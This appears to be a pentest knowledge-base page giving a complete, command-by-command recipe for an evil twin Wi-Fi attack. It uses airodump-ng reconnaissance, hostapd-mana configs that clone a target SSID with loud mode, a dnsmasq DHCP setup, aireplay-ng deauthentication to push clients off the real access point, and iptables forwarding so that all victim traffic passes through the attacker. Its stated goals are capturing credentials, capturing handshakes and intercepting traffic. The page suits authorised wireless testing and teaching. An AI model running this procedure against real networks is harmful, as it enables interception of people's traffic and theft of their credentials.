# Evil Twin AP with hostapd-mana and Aireplay-ng

> Creates a rogue AP cloning a legitimate SSID using hostapd-mana, forcing client deauthentication via Aireplay-ng to capture credentials or handshakes.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/evil-twin-ap-with-hostapd-mana-and-aireplay-ng
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-07-10

An evil twin AP impersonates a legitimate access point by broadcasting the same SSID and BSSID on a stronger or equivalent signal. Clients that disconnect from the legitimate AP and reconnect to the evil twin send their traffic through the attacker's system. Combined with a captive portal or transparent proxy, this enables credential capture, traffic interception, and SSL stripping against connected clients.

Prerequisites:

- Two wireless adapters: one for the evil twin AP, one in monitor mode for deauthentication
- Target AP SSID, BSSID, channel, and encryption type from airodump-ng
- hostapd-mana and dnsmasq installed
- Internet-connected interface (eth0 or similar) for traffic forwarding

This page covers setting up the evil twin AP itself and forcing clients onto it. Captive portal credential harvesting is covered on the [Captive Portal Credential Harvesting](https://hackindex.io/platforms/wireless/exploitation/captive-portal-credential-harvesting).

## Gather Target AP Information

Before setting up the evil twin, collect the exact SSID, BSSID, channel, and encryption type from the target:

```bash
airodump-ng wlan0mon
#  BSSID              PWR  CH   MB   ENC   AUTH  ESSID
#  AA:BB:CC:DD:EE:FF  -48   6  130  WPA2  PSK   TargetNetwork
```

## Create the hostapd-mana Configuration

For a WPA2 Personal evil twin, configure hostapd-mana to broadcast the same SSID on the target channel. Use a second wireless interface (`wlan1`) for the AP so `wlan0` remains free for deauthentication:

```bash
cat > /tmp/evil-twin.conf << 'EOF'
interface=wlan1
ssid=TargetNetwork
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=placeholder
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
mana_wpe=0
mana_loud=1
EOF
```

`mana_loud=1` enables loud mode which actively probes for clients searching for the target SSID, improving the chance clients connect to the evil twin over the legitimate AP. The `wpa_passphrase` here is a placeholder: if the goal is to capture the actual WPA handshake for cracking rather than traffic interception, the client will fail to authenticate but still produce a capturable handshake attempt.

For an open evil twin that accepts all connections without a passphrase:

```bash
cat > /tmp/evil-twin-open.conf << 'EOF'
interface=wlan1
ssid=TargetNetwork
hw_mode=g
channel=6
auth_algs=1
mana_loud=1
EOF
```

## Set Up DHCP with dnsmasq

Clients need an IP address after connecting. Assign a static IP to the AP interface first, then run dnsmasq to serve DHCP:

```bash
ip addr add 192.168.99.1/24 dev wlan1
ip link set wlan1 up
```

```bash
dnsmasq --interface=wlan1 --dhcp-range=192.168.99.2,192.168.99.254,255.255.255.0,12h --no-daemon
```

## Start the Evil Twin AP with hostapd-mana

```bash
hostapd-mana /tmp/evil-twin-open.conf
# wlan1: AP-ENABLED
# wlan1: AP-STA-CONNECTED CC:DD:EE:FF:AA:BB
```

## Deauthenticate Clients from the Legitimate AP

Use the first adapter in monitor mode to force clients off the legitimate AP and onto your evil twin:

```bash
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon
```

Stop the deauth once clients start connecting to the evil twin. Continuous deauth prevents reconnection entirely: send a burst then stop and observe.

## Enable IP Forwarding for Traffic Interception

To pass connected client traffic through to the internet while intercepting it:

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

Replace `eth0` with your internet-connected interface. Once IP forwarding is active, connected clients have internet access through your machine and all their traffic passes through it. Use Wireshark, tshark, or bettercap on `wlan1` to capture and analyse the traffic.

## References

- [sensepost/hostapd-mana on GitHub](https://github.com/sensepost/hostapd-mana) - hostapd-mana configuration reference including mana_loud and open AP setup
- [Aircrack-ng: aireplay-ng documentation](https://www.aircrack-ng.org/doku.php?id=aireplay-ng) - Continuous and targeted deauthentication flags